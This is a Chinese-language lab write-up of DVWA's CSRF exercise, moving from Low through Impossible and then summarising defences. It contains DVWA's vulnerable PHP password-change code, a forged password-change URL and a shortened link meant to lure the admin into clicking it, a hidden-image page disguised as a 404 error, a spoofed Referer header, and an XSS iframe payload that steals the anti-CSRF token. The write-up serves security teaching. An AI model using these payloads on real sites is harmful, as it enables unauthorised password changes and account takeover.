CSRF概念
CSRF(Cross-Site Request Forgery)攻击中,黑客盗用了用户的身份,以用户的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了黑客所期望的一个操作,比如以用户的名义发送邮件、转账等。
CSRF原理和流程(注意区分XSS)
- 用户浏览并登录受信网站A
- 登录成功以后,受信网站A产生cookie并返回给浏览器
- 用户在没有退出网站A的情况下访问恶意网站B
- 恶意网站B要求访问受信网站A,发出一个请求
- 浏览器会根据上述请求,带上用户的cookie访问受信网站A
- 受信网站A会根据所带的cookie,以为是用户访问,故通过用户的请求,造成CSRF
DVWA CSRF
Low
1、查看源码
查看前端源码:发现是GET请求,有password_new和password_conf两个参数
<form action="#" method="GET">
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
<br />
<input type="submit" value="Change" name="Change">
</form>
查看后端源码:接收并验证两个密码是否一致,若一致则更新密码。使用了mysql_real_escape_string转义特殊字符,可以防止一定程度的SQL注入,但也可以绕过。最重要的是没有对CSRF做任何防护,即没有验证token,也没有验证HTTP Referer字段。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
2、利用
方式1:让用户(admin)在没有登出的情况下,点击此URL,即可将密码修改成黑客想要的密码(ch4ser)
http://localhost/DVWA/vulnerabilities/csrf/?password_new=ch4ser&password_conf=ch4ser&Change=Change#
当然,用户通常不会点击一个很长的、看起来就不正常的链接,于是可以通过在线工具,将此链接生成为一个短链接
这里生成的短链接如下
https://s.r.sn.cn/iDMxfN
方式2:构造一个页面(csrf.html),将修改密码的链接重定向到一个自己写的一个错误页面,用户点击之后以为出错了,实际已经执行了恶意代码。
<img src="http://localhost/DVWA/vulnerabilities/csrf/?password_new=ch4ser&password_conf=ch4ser&Change=Change#" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file not found.</h2>
Medium
1、查看源码
前端源码和Low级别一致
查看后端源码:使用了stripos()函数来验证 S E R V E R [ ′ S E R V E R N A M E ′ ] 是否出现在 _SERVER[ 'SERVER_NAME' ]是否出现在 SERVER[′SERVERNAME′]是否出现在_SERVER[ ‘HTTP_REFERER’ ]里面,即判断请求的来源是否为本站发出的,若是才进行密码修改的操作。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
2、利用
尝试直接在url栏输入
http://localhost/DVWA/vulnerabilities/csrf/?password_new=ch4ser&password_conf=ch4ser&Change=Change#
发现密码并未被修改,页面回显:That request didn’t look correct.
这是由于后端代码对HTTP Referer字段进行了判断,我们使用burpsuite进行抓包分析
正常的修改密码请求包内容如下:可见HOST是在Referer里面的,也就是请求是来自本站的
CSRF修改密码请求包内容如下:发现只有HOST字段,没有Referer字段,所以会造成密码修改不成功
绕过方法:对CSRF修改密码请求包添加一个Referer字段,然后发送该数据包,密码一样被修改
Referer: http://192.168.124.91/DVWA/vulnerabilities/csrf/
High
1、查看源码
查看前端源码:这次有了token值
<form action="#" method="GET">
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
<br />
<input type="submit" value="Change" name="Change">
<input type='hidden' name='user_token' value='7307aeeda83356f27b6ec67bd82e1e55' />
</form>
查看后端源码:使用了checkToken()函数验证客户端携带的token,验证成功才返回客户端请求的数据,可见防护措施做的很严密。
<?php
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
echo "<pre>" . $return_message . "</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
2、利用
首先我们尝试了直接输入url和加上Referer,都不奏效。
于是用burpsuite进行抓包分析,发现其加上了token,不奏效的原因是token验证未通过。
搞清楚原因之后,我们就要想着如何获取token的值。
思路1:构造一个恶意页面,诱导用户访问,从而获取token值。(该方法行不通,因为浏览器不允许跨域访问)
思路2:利用XSS(以Reflected为例)漏洞(High级别),构造payload如下,然后弹出token值。
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
得到token值后,使用burpsuite抓包,将token加入到包中,同样成功修改密码。
192.168.124.91/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token=d40b036b5abecc141b3f22b412bb829e#
Impossible
分析
查看前端源码:不仅有token值,还要求输入原密码
<form action="#" method="GET">
Current password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_current"><br />
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
<br />
<input type="submit" value="Change" name="Change">
<input type='hidden' name='user_token' value='8eef63fcf14e5f209b9aec9ba9f01b6e' />
</form>
查看后端源码:同样验证了token值,不仅如此还要求用户输入原密码才能修改,防止了CSRF。使用了PDO预编译SQL语句,防止了SQL注入。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
CSRF防御
1、验证HTTP Referer字段
2、添加token并验证
基于token的身份验证方法
1.客户端使用用户名跟密码请求登录;
2.服务端收到请求,去验证用户名与密码;
3.验证成功后,服务端会签发一个 Token,再把这个 Token 发送给客户端;
4.客户端收到 Token以后可以把它存储起来,比如放在 Cookie 里或者 Local Storage 里;
5.客户端每次向服务端请求资源的时候需要带着服务端签发的;
6. 服务端收到请求,然后去验证客户端请求里面带着的 Token,如果验证成功,就向客户端返回请求的数据。